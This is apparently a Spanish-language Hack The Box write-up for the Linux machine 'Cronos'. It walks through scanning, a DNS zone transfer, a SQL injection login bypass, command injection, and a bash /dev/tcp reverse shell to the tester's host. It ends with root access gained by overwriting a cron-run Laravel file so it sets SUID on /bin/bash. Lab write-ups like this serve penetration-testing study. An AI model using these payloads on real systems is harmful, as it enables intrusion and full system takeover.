Cronos

Hack The Box — Writeup

Cronos

IP:10.129.227.211
OS:Linux
Dificultad:Medium
Fecha:12 de julio de 2026

Reconocimiento

Escaneo inicial

sudo nmap -p- -sS --open --min-rate 5000 -vvv -n -Pn 10.129.227.211 -oG allPorts

Se identificaron 3 puertos abiertos:

Puerto Servicio Versión
22/tcp SSH OpenSSH 7.2p2
53/tcp DNS ISC BIND 9.10.3-P4
80/tcp HTTP Apache 2.4.18

Enumeración web inicial

Se accedió a la página principal — página por defecto de Apache sin contenido relevante. Inspección del código fuente sin resultados. Escaneo de directorios con feroxbuster sin vectores de entrada:

feroxbuster -u http://10.129.227.211/ -w /usr/share/seclists/Discovery/Web-Content/common.txt

Transferencia de zona DNS

El puerto 53 (DNS) llevó a probar una transferencia de zona AXFR sobre el dominio cronos.htb, revelando todos los subdominios internos:

dig axfr cronos.htb @10.129.227.211

Subdominios descubiertos: cronos.htb, admin.cronos.htb, www.cronos.htb, ns1.cronos.htb. El subdominio de mayor interés: admin.cronos.htb.


Explotación

SQLi blind — bypass de autenticación

El panel administrativo en admin.cronos.htb presentaba un login. Se detectó inyección SQL blind mediante sqlmap:

sqlmap -u "http://admin.cronos.htb/" --data="username=admin&password=admin" --batch --level=5 --risk=3

Payload de bypass aplicado directamente en el navegador: username: admin’ OR 4174=4174– iDIf password: (cualquiera)

RCE mediante command injection

Dentro del panel se encontró Net Tool v0.1, herramienta que ejecuta comandos de red sobre una IP proporcionada por el usuario. Se confirmó command injection: 8.8.8.8; id → uid=33(www-data) gid=33(www-data) groups=33(www-data)

Reverse shell

Intento fallido con netcat — el binario no soporta el flag -e: 8.8.8.8; nc -e /bin/sh 10.10.15.163 4444

Reverse shell exitosa mediante Bash:

8.8.8.8; bash -c 'bash -i >& /dev/tcp/10.10.15.163/4444 0>&1'
nc -lvnp 4444

Flag de usuario

user.txt: 2806d4**************f80c975


Escalada de Privilegios

Enumeración post-explotación

cat /etc/crontab

root php /var/www/laravel/artisan schedule:run » /dev/null 2>&1

El archivo Kernel.php de Laravel pertenece a www-data y es ejecutado cada minuto como root — vector de escalada directo.

Explotación del cron job

Se sobrescribió Kernel.php para otorgar SUID a /bin/bash:

cat > /var/www/laravel/app/Console/Kernel.php << 'PAYLOAD'
<?php
namespace App\Console;
use Illuminate\Console\Scheduling\Schedule;
use Illuminate\Foundation\Console\Kernel as ConsoleKernel;
class Kernel extends ConsoleKernel
{
    protected $commands = [];
    protected function schedule(Schedule $schedule)
    {
        exec("chmod u+s /bin/bash");
    }
    protected function commands()
    {
        require base_path('routes/console.php');
    }
}
PAYLOAD

Tras esperar el siguiente ciclo del cron:

ls -la /bin/bash
→ -rwsr-xr-x 1 root root 1037528 Jun 24 2016 /bin/bash

bash -p
whoami
→ root

Flag de root

root.txt: 70335*****************e2a